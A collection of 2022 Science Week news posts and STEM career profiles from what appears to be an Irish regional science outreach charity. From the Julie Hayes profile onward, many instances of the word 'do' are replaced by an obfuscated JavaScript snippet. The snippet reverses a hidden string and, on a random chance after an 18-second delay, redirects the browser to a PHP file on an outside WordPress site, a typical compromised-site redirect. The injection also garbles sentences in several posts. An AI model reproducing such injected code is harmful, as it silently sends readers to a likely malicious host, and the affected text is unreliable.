Science Week Science Profiles – Georgia Kearney, Medtronic

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As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities available to young people interested in science. Last, but by no means least, is Georgia Kearney, a student co-op from Medtronic. We caught up with Georgia and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science. 

I was always quite curious about how things worked when I was younger, from what windmills where to how my mum was growing my baby brother in her stomach (still amazed by that).  

However, my earliest experience of science that I recall was when I was going on holidays with my family. We had a long drive to get to our destination, so I grabbed this big old book my aunt had gifted me called ‘Children’s Encyclopaedia of Science’. It wasn’t so much the facts within the book that piqued my interest but more so the pretty colours on the front.  

I remember choosing the ‘Space’ chapter and it had explained how powerful the sun was and that if you stared at it too long you could go blind – so of course I took it upon myself to shut my eyes tight every time the sun was shining in my eyes to keep them safe. Although I was cautious about looking at the sky, I began to wonder about space and how all these planets and stars were able to just exist up in the sky which led me to ask for a telescope that Christmas. I would spend hours trying to put this ‘kid friendly’ telescope together but was still unable to see the moon and stars (it took about a month before I realised I left the lens cover on the end of it). Once I reluctantly asked my parents for help on how to build it and use it I spent some nights just in awe at how there was so much up there and we just couldn’t reach it.  

What did you study at college and can you tell us a little about it? 

I am studying Biomedical Engineering at Ulster University and I’m currently on my placement year at Medtronic. Biomedical engineering takes the fundamentals of engineering and applies them to the body to mitigate pain and disease. It might sound a bit daunting but biomedical engineering is the development/creation of any device that is in contact with the human body, from tongue depressors to defibrillators.  

What is your current role and what do you enjoy most about it? 

Currently, I am a student co-op at Medtronic. I thoroughly enjoy the variety of projects going on and the constant opportunity to explore new technologies. Working with fully qualified and experienced people within industry gives a lot of opportunity for learning and growth which I feel is a very valuable aspect of beginning a career in science. Overall, the people and opportunities present really create an enjoyable work experience.  

What is your favourite science fact? 

My favourite science fact is probably a well known one at this stage – but we aren’t ever physically touching something, there are atoms in the very air we breathe so when you’re ‘touching’ something there are multiple atoms between your skin and the surface of the object you’re touching so when you feel that pressure of an object it’s the atoms repelling each other.   

What advice would you give to a young person considering a career in science? 

If you or someone you know is considering a career in science the main advice, I would give is to ask questions. It’s been heard from teachers constantly over the years ‘No question is a stupid question.’ Which is true! Reach out to different employers/college’s and ask about what they offer or what they do and see which one sparks your interest. If your school/college offers open days, I’d encourage you to attend and speak to actual people from different companies and get a personal view on what the companies work mainly consists of and get a broader view on the morals and goals and see if they align with your own.  

Jackie Gorman Wins Prestigious Science Foundation Ireland Communications Award

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The CEO of Midlands Science Jackie Gorman is this year’s winner of the prestigious Science Foundation Ireland Outstanding Contribution to STEM Communication Award 2022. This relates to her work in communications relating to science, technology, engineering and maths. This national award recognises an outstanding contribution to the popularisation of science and an individual who raises public awareness of the value of science to human progress. Previous winners include Prof Luke O’Neill, Dr Niamh Shaw and Dr Aoibhinn Ní Shúilleabháin.

A graduate of TUS, NUIG and DCU, Jackie has worked in science communications with local development company Midlands Science for the past number of years and her work has involved developing and curating science outreach across the midlands, in a way that makes science accessible and engaging. Speaking about the award, she said “I am honoured to receive this award and equally honoured to get to do this work in the region that I come from and about which I am so passionate. Communicating science is about making it accessible and making sure that such access is equitable. I am truly honoured to receive this award from Science Foundation Ireland. I believe that engaging with science is important for our economy but also our society and a sense of engaged citizenship. I would like in receiving this award to acknowledge the excellent team of trustees, staff and stakeholders that I work with, who contribute so much to what we do.”

Dr Craig Slattery of UCD’s Conway Institute is Chairperson of Midlands Science. He commented “on behalf of the Board of Trustees, I am absolutely delighted for Jackie, and wholeheartedly congratulate her on this outstanding achievement. On a personal level, it’s a most fitting tribute to Jackie’s contributions which have enriched the science outreach and public engagement landscape, both locally and nationally. For Midlands Science, Jackie’s award is a massive endorsement of the wonderful work that Jackie and the Team have done, and continue to do with schools, clubs, societies, employers and the wider community across the Midlands.”

In the past number of years, Jackie has pioneered making science outreach more accessible and equitable through work with the Science Capital Research Team of University College London and King’s College London and work with the Medtronic Foundation and the Ireland Funds Private Donor Network among others.

A Successful Science Week in the Midlands!

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Science Week in the Midlands was back in person this year with the Midlands Science Festival, funded by Science Foundation Ireland. A wide range of activities took place including a family Discovery Day in Tullamore supported by Integra and attended by over 1,200 people!! Visitors to the discovery day were able to get hands on with reptiles from the National Reptile Zoo, learn all about slime with Anyone 4 Science, discover the science behind superheroes with Dr Barry Fitzgerald, take a journey through space with Martin and the Exploration Dome and learn all about Dinos down under with thanks to Dale Treadwell.


The National Museum of Ireland continued its partnership with Midlands Science and this year the school and family workshops and public event focussed on items in the national collection in Co Offaly and the Vikings in the Midlands.  Participants got the chance to get up close and personal with a wolf skill, viking hack silver and amber among many other things.

A swim in Lough Ree this year in association with Swim Ireland was also part of the activities. The swim was followed by food and drinks in the Lough Ree Inn and a talk by author of the acclaimed book “Blue Spaces” Dr Catherine Kelly.

Other events included exploring the science of golf in Athlone Golf Club, the science of stress and resilience with psychologist Dr Andrew Magee, the science of cats and dogs with Pete the Vet and a unique hands-on event looking at the science of sustainable living. Every participant at this event got to make a shampoo bar, a wax wrap and seed bomb to take home with them.

An event looking at the science of cosmetics, Beauty and the Chemistry Beasts, took place in Mullingar in association with the Royal Society of Chemistry. This was filmed and will be circulated online and to schools later next week.

Brian Gibson from Forensic Science Ireland and Dr Craig Slattery from UCD took part in ‘The Usual Suspects – An Evening of Crime Science’ in Portlaoise looking at the role that science has in solving crime.

Participants in the festival also looked up to the night’s sky to ponder the wonders of the universe in Lough Boora Parklands with Midlands Astronomy Club. Dead Centre Brewing was the location for ‘Hop to It’, a unique event looking at the science of beer with Prof John Morrisey, a fermentation expert from UCC.

A wide range of activities also took place in schools across the region during the week with Dr Barry Fitzgerald, Dale Treadwell and the team from Anyone4Science, to name just a few. Students in both primary and secondary schools got to explore the science of flight, Superhero Science, hands on experiments and some got to take a journey through our solar system in the exploration dome.

Online activities included a series of videos looking at the science of climate action, including a programme that Midlands Science undertook with youth club participants from the Monsignor McCarthy Complex in Athlone. Those interested in car racing were also part of the festival with an online event with driver Paul O’Connell taking apart what it takes to be a Formula 1 Driver and this event included the opportunity to win a family day in the pit with him and his team on a race day in Mondello Park. Book clubs across the region were also encouraged to take part in Science Week by reading a popular science book from a list curated by Midlands Science.

Midlands Science runs science outreach all year around to schools through its outreach programme and also runs a number of special projects such as Quiet Science, Innovate for Climate Action and Everyday Science. It reaches an average of 16,000 people per year and is supported by the Ireland Funds Private Donor Network, the Medtronic Foundation and a variety of private, public and philanthropic funders for different projects and activities.

Science Week Science Profiles – Christina Ryan, Medtronic

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As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Christina Ryan from Medtronic. Christina is a Digital Technology Engineer, mainly in the area of augmented/virtual reality and 3D computer models. We caught up with Christina and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science?

The earliest experience that I can remember was when I was about 12 years old, I was visiting an open day for secondary school and a science lab was set up with various displays/experiments on each of the different benches. On the first bench there was a rat that had been dissected with all of its anatomy labelled and I found it really fascinating to get to see how all of the different body parts worked together to create an animal that could eat, breathe, walk and think. It had a great impact on me and it was the first time I thought about science as a career option.

What did you study at college, and can you tell us a little about it?

I stayed in college for a long time 😊 I really enjoy learning new and different things. I started off by doing Biological and Chemical Sciences (4 years) in University College Cork (UCC), it was a general course where I could experience many different areas of science and help narrow down what I really enjoyed. The first year had four main subjects: Biology, Chemistry, Physics and Maths, I was never very interested in Physics and hadn’t done it as a leaving cert subject, in fact I failed my physics exam at the end of that year however my grades in the other 3 subjects allowed me to continue to second year where I got to choose the subjects I wanted to do. I did a number of different modules including anatomy, biochemistry, physiology, and zoology. In the end I chose to finish my degree in the area of Neuroscience as it was the most different to everything else I had learned and for the final two years I completed modules like anatomy, physiology and biochemistry that were focused specifically on the brain, also learning about conditions such as Parkinson’s and Alzheimer’s disease.

After finishing my Neuroscience degree I went on to do a taught Masters in Neuropharmacology (1 year) in Ollscoil na Gaillimhe (formerly NUI Galway). This built on the knowledge I had already learned but focused on the signalling chemicals (neurotransmitters) that make the brain work and how imbalances in these chemicals can cause various illnesses such as Parkinson’s or Alzheimer’s, as well as anxiety or depression. The course also went through how various drugs work to treat these illnesses. When I finished the masters I decided to stay in Galway to do a PhD, though in a very different area. I joined a medical device lab where I worked for 5 years on a project to evaluate different materials and chemicals to find out which ones that tendon cells like to grow on the most. Although this was very different to the specialised areas I had studied up to then, a lot of what I learned was transferrable and I knew I could learn the information I needed as I had been able to before!

What is your current role and what do you enjoy most about it?

I am now working as a Digital Technology Engineer, mainly in the area of augmented / virtual reality and 3D computer models. This is very different from what I did in college, however I have gotten to learn a lot of new things. Moreover, a lot of the skills that I learned from college I can use in my current job such as critical thinking, decision making, presenting information to different people and technical writing etc. I mainly work with different companies to evaluate new technology and if that technology is something that will help us to get work done with better quality and/or quicker. The thing I enjoy most about my role is that I get to investigate a lot of different types of cool technology such as AR/VR headsets or 3D scanners and I get to keep learning new things all the time.

What is your favourite science fact?

There are no pain receptors in the brain. Headaches are caused by pain receptors in other tissues surrounding the brain such as blood vessels or the membranes that protect the brain.

What advice would you give to a young person considering a career in science?

If you have an interest in science but are not sure what exactly you want to do, don’t worry too much about what area you go into at the beginning, any science course you do will be a gateway to multiple different career pathways and you’re never stuck, you can always change. Also don’t sweat it if you’re not a maths genius, I have a PhD in Biomedical Engineering and I failed physics in college.

Science Week Swimming!!

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A huge crowd turned out at Coosan Point, Lough Ree, Athlone for our science week event in association with Swim Ireland. The event involved a supervised swim or a dip in Lough Ree followed by hot food and drinks in the Lough Ree Inn and a talk with Dr Catherine Kelly, author of the acclaimed book “Blue Spaces.” For many years, Dr Kelly has been researching and writing about the impact that water has on our mind and bodies and she is a particular fan of cold water and open water swimming. In a wide-ranging talk, and in the questions and answers that followed, she stressed her belief that everyone should have access to swimming and she is currently working on projects in the UK to bring swimming to communities who may not usually engage with swimming, such as people with disabilities or those from particular ethnic backgrounds.

She spoke about how she developed a new relationship with swimming and water following the death of her mother many years ago. Living in Mayo at the time near the sea, she began to think about the healing power of water. “It’s an ebb and flow that water gives us that allows us to connect with ourselves.” Her book “Blue Spaces” is packed full of great ideas of how to make the most of being in or near water, based on scientific research from around the world about the human relationship with water. She says “Being in the water brings you straight into your body. I think that’s the crux of the wellbeing benefit of water, it brings you out of your head. You cannot ignore your body when water is pounding on top of you.” She also encourages those who are interested in open water swimming to join a local community as the social benefits of swimming with other people are also demonstrated in scientific research that looks at the modern problems of loneliness and social isolation.

Questions on the day included everything from how to get started in cold water swimming to why it seems to be mostly women who are flocking to the lakes of Westmeath to swim. Attendees came from a number of open water swimming groups across the midlands to attend. The event was part of the Midlands Science Festival, a regional science festival as part of national Science Week, supported by Science Foundation Ireland. Midlands Science would like to thank Swim Ireland for their support for this event as part of the Midlands Science Festival.

Science Week Science Profiles – Julie Hayes, ARUP

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As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. First up is Julie Hayes from Arup. Julie is a Graduate Environmental Consultant that works with Arup’s Environmental Team in Cork. Julie has a BSc in Environmental Science from UCC and also an MSc in Applied Environmental Geoscience, also from UCC. We caught up with Julie and asked her some questions about her career in science:

 

Tell us a little about your earliest experiences of science?

My earliest experience of science is a bit different. I think it would have to be sitting in front of the TV and watching Animal Planet with my Grandad growing up. Every week we’d watch David Attenborough or Steve Irwin galivanting across new exotic places, finding dangerous animals and highlighting issues (that I didn’t yet fully understand) such as climate change, habitat loss and endangered species. I remember thinking “that’s what I want to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do”. Now, while I might not be out in swamps tackling crocs (or “beauties”) or filming “extraordinary” landscapes, I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do get to work towards tackling some of these same issues as part of my job, which is really cool!

 

What did you study at college, and can you tell us a little about it?

I studied BSc Environmental Science at University College Cork as my undergraduate degree. This is one of the disciplines you can chose after completing the first year of Biological, Earth and Environmental Sciences (BEES) at UCC. I absolutely loved my time studying Environmental science – so much so, I stayed for another year at UCC to pursue a masters in Applied Environmental Geoscience. What I loved the most is the diversity and variety in science. I have always been interested in many things and this course certainly covers a little bit of everything from air and water quality, chemistry and physics, to geography, GIS, geology, zoology and ecology. Experiencing work in the classroom, in the labs and even out in the field was the best part, which allowed us to learn how to physically take samples and log soil cores, before analysing them in the lab and writing up a report in the classroom. Never in a million years did I think my degree could take me to sampling water from a contaminated island in Helsinki, working in a bog for 6 months for my master’s thesis or even mapping sand dunes in the Hague with a drone while studying abroad! Although it wasn’t always easy and at times really tough, I would recommend this course to anyone who enjoys learning a little bit about everything from the desk, to the field, to the lab (and back again!).

 

What is your current role and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you enjoy most about it?

Currently I’m working as a graduate environmental consultant with Arup’s environmental team in Cork. Some of the work we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do includes preparing environmental impact assessments for planning applications, environmental licencing for industrial emissions facilities, and carbon and sustainability assessments for our clients. My favourite thing about working in this area is that while the reports we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do might seem the same, the work is always changing and there’s always a challenge or two (or three!) to keep us interested along the way!

At Arup we have a strong emphasis on achieving sustainability in our work and in the projects that we take on. The best part for me is knowing you are working in an important area like environmental science and are able to contribute towards tackling things like climate, biodiversity and environmental impact in some small way as part of your job, whether it be providing advice to clients on ways to cut $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down carbon emissions or identifying areas of potential environmental impact and reducing this risk. I just think that is really cool!

 

What is your favourite science fact?

The most common shape found in nature is a hexagon (think of honeycomb or the giant’s causeway). I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t know why but I’ve always liked that one!

 

What advice would you give to a young person considering a career in science?

Science is always changing and there is always more to learn! It covers a range of topics from astrophysics to pharmaceuticals, and while some might think the only job of a scientist is working in a lab, there are also plenty of other opportunities out there when pursuing this career, be it in out in the field, in academics or as a consultant (like me). Studying science has opened up a world of opportunities to me and I have met some of the best people I know through my studies and my work. So, if you’re considering a career in science and enjoy learning something new every day, I would highly recommend a career in this area – you’ll never have a dull moment! P.S. You $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do not have to be brilliant at maths (but understanding the basics $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does help!)

 

 

Unique Event in Mullinger – Beauty and the Chemistry Beasts

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We are just days away from the start of the Midlands Science Festival 2022! Mullingar is the venue for a unique talk on where Dr Craig Slattery will be delving deep into the world of beauty and cosmetics, in an event separating the science and marketing that often collide in the world of beauty products.

We spend millions every year on everything from sunscreen to lipstick but what are we actually buying and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does some of the labels mean? Dr Slattery will explore everything from the ingredients to the psychology of beauty. This event, supported by the Royal Society of Chemistry, will explore (and sometimes explode) the myths, marketing and reality of cosmetic products. Shopping for cosmetics will never be the same again!

‘Beauty and the chemistry beasts’ takes place on Thursday November 17th at 7.30pm, Annebrook House Hotel, Mullingar – Book your place now!

Ironman and T-Rex for Tullamore Discovery Day

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The annual Midlands Science Festival takes place next week and one of the most popular events on the festival calendar is ‘The Discovery Day’ which occurs this Saturday (November 12th) at the Sacred Heart School, Tullamore from 10am to 3pm. The Discovery Day, in association with Integra, offers a chance for children to experience everything from dinosaurs to Ironman in one location!

Suitable for ages five and up the day offers the chance for participants to meet reptiles up close and personal, learn about the science of Spiderman, stare up at the night’s sky in Ireland’s largest mobile planetarium, $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hands on science with Anyone 4 Science and learn about dinosaurs with Dale Treadwell.

“We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions. The discovery day has always proven a highlight of our festival” commented Jackie Gorman, CEO Midlands Science.

“Integra is delighted to support the Discovery Day for the Midlands Science Festival this year. Getting young people engaged with science from a young age develops the curiosity and sense of discovery that is at the heart of science. Today’s young people who enjoy fun activities such as those on offer in Tullamore at the Discovery Day are the scientific pioneers of tomorrow and we are delighted to be able to encourage them” Integra’s John O’Donovan explained.

Booking for all events is now open and all details are available here. The Midlands Science Festival is supported by Science Foundation Ireland, as part of national Science Week.

Athlone will be hive of activity during Science Week

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After two years of online delivery, the Midlands Science Festival returns this year all across the midlands, with a range of activities for all age groups. Running from November 13th to November 20th, highlights of the Midlands Science Festival include a presentation exploring the science of resilience with psychologist Dr Andrew Magee in the Radisson Blu Hotel Athlone, a swim in Lough Ree and an adrenaline inducing insight into Formula One Racing.

Dr Andrew Magee is no stranger to the Midlands Science Festival. His virtual lecture in 2020 proved to be one of the most popular online events in the festival that year. In just a few hours his presentation was viewed by 7,500 individuals!! His online lecture offered practical, wise and compassionate advice on managing stress and resilience, all based on science from the field of psychology.

Midlands Science is now delighted to offer the opportunity to attend an in-person event with Dr Magee where he will, with Dr Craig Slattery of UCD, explore what science tells us about stress and resilience. He will provide some advice and tips, based on science, on how to better manage stress and build our own resilience.

“As a society, we have shown our resilience and ability to withstand adversity, bouncing back from difficult challenges we face in our daily lives, particularly so over the past few years.” commented Jackie Gorman, CEO Midlands Science. “The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” Stressed Jackie Gorman, CEO Midlands Science.

For the more energetic types, you are welcome to join Midlands Science for a Swim Ireland supervised dip and swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best-selling book which explores why we love swimming and water so much.

Midlands Science will be exploring the science of golf with Dr Eoghan O’Neill, a sports psychologist who specialises in golf.  This event takes place in Athlone Golf Club on Monday the 14th of November. Those looking for something more exciting can join Midlands Science for a unique online event with Dr Barry Fitzgerald exploring the science of Formula One racing!

There’s also plenty more on offer including an astronomy night in Lough Boora Parklands, an event exploring the science of beer at Dead Centre brewing and an online event with Diabetes Ireland. The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for all events is now open and all details available here.

 

Pete the Vet and so much more in Offaly this Science Week

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After two years of online delivery due to the impact of Covid 19, the Midlands Science Festival is back this year all across the midlands, with a range of activities for all age groups. Running from November 12th to November 20th, the Midlands Science Festival is back in person with a bang! Highlights include an evening In Tullamore with dogs-with-pete-the-vet-nov2022/” target=”_blank” rel=”noopener”>Ireland’s favourite vet, Pete the Vet, a Discovery Day featuring dinosaurs and an astronomy night in Lough Boora Parklands.

Known to lots of people from national TV and radio, where he regularly answers queries on everything from hamsters to snakes, Pete the Vet explores the science of cats and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dogs in a unique event supported by Zoetis. How much $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do we really know about these furry friends who share our homes and how can science help us understand them more and care for them in a way that keeps them healthy? Come along to meet Pete and learn a lot more about your furry friends.

The Midlands Science Discovery Day is one of the most popular events of the Midlands Science Festival and is open to everyone. This year’s event in association with Integra, held in the Sacred Heart School, Tullamore, offers a chance to experience everything from dinosaurs to Ironman in one location. Suitable for age 5 and up, the day offers the chance for participants to meet reptiles up close and personal, learn about the science of Spiderman, stare up at the night’s sky in Ireland’s largest mobile planetarium, $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hands on science with Anyone 4 Science and learn about dinosaurs with Dale Treadwell.

“The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” stressed Jackie Gorman, CEO Midlands Science.

Midlands Science continues its partnership with the National Museum of Ireland and this year the focus is on county Offaly. Workshops will be delivered to schools in Tullamore, followed by an event for families and an event for the general public in the Offaly History Centre in Tullamore.

The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for events is open now and all details are available here. The Midlands Science Festival is supported by Science Foundation Ireland, as part of national Science Week.